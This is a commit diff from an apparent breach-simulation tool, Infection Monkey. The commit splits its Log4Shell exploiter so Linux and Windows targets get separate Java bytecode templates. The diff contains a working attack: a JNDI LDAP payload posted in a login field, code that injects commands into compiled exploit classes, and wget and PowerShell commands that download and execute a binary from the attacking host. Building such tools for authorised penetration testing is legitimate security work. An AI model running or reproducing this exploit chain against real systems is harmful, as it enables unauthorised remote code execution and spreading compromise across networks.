Agent: use separate java classes for windows and linux in log4shell

Linux and windows targets should use different java classes, because one is compiled to be launched in /bin/bash, another in cmd.exe. We can't just inject the whole command, because Runtime.getRuntime().exec() interprets the string in strange ways
This commit is contained in:
vakarisz 2022-01-04 16:09:19 +02:00
parent 1884c6d767
commit e69639b426
6 changed files with 58 additions and 15 deletions

View File

@ -7,10 +7,21 @@ import requests
from common.utils.exploit_enum import ExploitType from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.log4shell_utils import LDAPExploitServer, build_exploit_bytecode from infection_monkey.exploit.log4shell_utils import LDAPExploitServer, build_exploit_bytecode
from infection_monkey.exploit.log4shell_utils.exploit_builder import (
LINUX_EXPLOIT_TEMPLATE_PATH,
WINDOWS_EXPLOIT_TEMPLATE_PATH,
)
from infection_monkey.exploit.tools.helpers import get_monkey_depth
from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, VictimHost from infection_monkey.model import (
LOG4SHELL_LINUX_COMMAND,
LOG4SHELL_WINDOWS_COMMAND,
MONKEY_ARG,
VictimHost,
)
from infection_monkey.network.tools import get_interface_to_target from infection_monkey.network.tools import get_interface_to_target
from infection_monkey.utils.commands import build_monkey_commandline
from infection_monkey.utils.monkey_dir import get_monkey_dir_path from infection_monkey.utils.monkey_dir import get_monkey_dir_path
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@ -41,8 +52,7 @@ class Log4ShellExploiter(WebRCE):
return False return False
logger.info("Started http server on %s", http_path) logger.info("Started http server on %s", http_path)
commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD} command = self.build_command(paths["dest_path"], http_path)
command = self.get_command(paths["dest_path"], http_path, commands)
java_class = self.build_java_class(command) java_class = self.build_java_class(command)
class_http_server_ip = get_interface_to_target(self.host.ip_addr) class_http_server_ip = get_interface_to_target(self.host.ip_addr)
@ -59,11 +69,9 @@ class Log4ShellExploiter(WebRCE):
ldap_thread = ldap.get_run_thread() ldap_thread = ldap.get_run_thread()
ldap_thread.start() ldap_thread.start()
payload = {"uname": LDAP_PAYLOAD, "password": "m0nk3y"} payload = {"uname": self.build_ldap_payload(), "password": "m0nk3y"}
try: try:
response = requests.post( requests.post(Log4ShellExploiter.URLS[0], data=payload, timeout=5, verify=False)
Log4ShellExploiter.URLS[0], data=payload, timeout=5, verify=False
)
except requests.ReadTimeout: except requests.ReadTimeout:
logger.error("Couldn't send request to the vulnerable machine") logger.error("Couldn't send request to the vulnerable machine")
return False return False
@ -78,8 +86,33 @@ class Log4ShellExploiter(WebRCE):
ldap.stop() ldap.stop()
return True return True
def build_ldap_payload(self):
interface_ip = get_interface_to_target(self.host.ip_addr)
return f"${{jndi:ldap://{interface_ip}:{Log4ShellExploiter.LDAP_PORT}/dn=Exploit}}"
# TODO remove duplication with infection_monkey.exploit.hadoop.HadoopExploiter.build_command
def build_command(self, path, http_path):
# Build command to execute
monkey_cmd = build_monkey_commandline(
self.host, get_monkey_depth() - 1, vulnerable_port=None
)
if "linux" in self.host.os["type"]:
base_command = LOG4SHELL_LINUX_COMMAND
else:
base_command = LOG4SHELL_WINDOWS_COMMAND
return base_command % {
"monkey_path": path,
"http_path": http_path,
"monkey_type": MONKEY_ARG,
"parameters": monkey_cmd,
}
def build_java_class(self, exploit_command: str) -> bytes: def build_java_class(self, exploit_command: str) -> bytes:
return build_exploit_bytecode(exploit_command) if "linux" in self.host.os["type"]:
return build_exploit_bytecode(exploit_command, LINUX_EXPLOIT_TEMPLATE_PATH)
else:
return build_exploit_bytecode(exploit_command, WINDOWS_EXPLOIT_TEMPLATE_PATH)
def upload_monkey(self, url, commands=None): def upload_monkey(self, url, commands=None):
pass pass

View File

@ -3,7 +3,8 @@ from pathlib import Path
# This code has been adapted from https://github.com/alexandre-lavoie/python-log4rce # This code has been adapted from https://github.com/alexandre-lavoie/python-log4rce
EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "Exploit.class.template" LINUX_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "LinuxExploit.class.template"
WINDOWS_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "WindowsExploit.class.template"
INJECTION_TAG = "###" INJECTION_TAG = "###"
@ -11,16 +12,13 @@ class InvalidExploitTemplateError(Exception):
pass pass
def build_exploit_bytecode( def build_exploit_bytecode(payload_command: str, exploit_template_path: Path) -> bytes:
payload_command: str, exploit_template_path: Path = EXPLOIT_TEMPLATE_PATH
) -> bytes:
""" """
Build a payload used to exploit log4shell Build a payload used to exploit log4shell
:param str payload_command: The command that will be executed on the remote host. :param str payload_command: The command that will be executed on the remote host.
:param Path exploit_template_path: The path to a file containing a pre-compiled Java class with :param Path exploit_template_path: The path to a file containing a pre-compiled Java class with
the placeholder "###". This placeholder will be overwritten the placeholder "###". This placeholder will be overwritten
with the contents of payload_command. Defaults to with the contents of payload_command.
`EXPLOIT_TEMPLATE_PATH`
:return: Java bytecode that will execute the payload :return: Java bytecode that will execute the payload
:rtype: bytes :rtype: bytes
""" """
@ -36,7 +34,7 @@ def _load_template_bytecode(exploit_template_path: Path) -> bytes:
if not template_bytecode.startswith(b"\xca\xfe\xba\xbe"): if not template_bytecode.startswith(b"\xca\xfe\xba\xbe"):
raise InvalidExploitTemplateError( raise InvalidExploitTemplateError(
f'The file "{EXPLOIT_TEMPLATE_PATH}" is not a compiled Java class' f'The file "{exploit_template_path}" is not a compiled Java class'
) )
return template_bytecode return template_bytecode

View File

@ -60,4 +60,16 @@ HADOOP_LINUX_COMMAND = (
"&& %(monkey_path)s %(monkey_type)s %(parameters)s" "&& %(monkey_path)s %(monkey_type)s %(parameters)s"
) )
LOG4SHELL_LINUX_COMMAND = (
"wget -O %(monkey_path)s %(http_path)s ;"
" chmod +x %(monkey_path)s ;"
" %(monkey_path)s %(monkey_type)s %(parameters)s"
# "touch /tmp/test_with_new"
)
LOG4SHELL_WINDOWS_COMMAND = (
'powershell -NoLogo -Command "'
"Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing; "
' %(monkey_path)s %(monkey_type)s %(parameters)s"'
)
DOWNLOAD_TIMEOUT = 180 DOWNLOAD_TIMEOUT = 180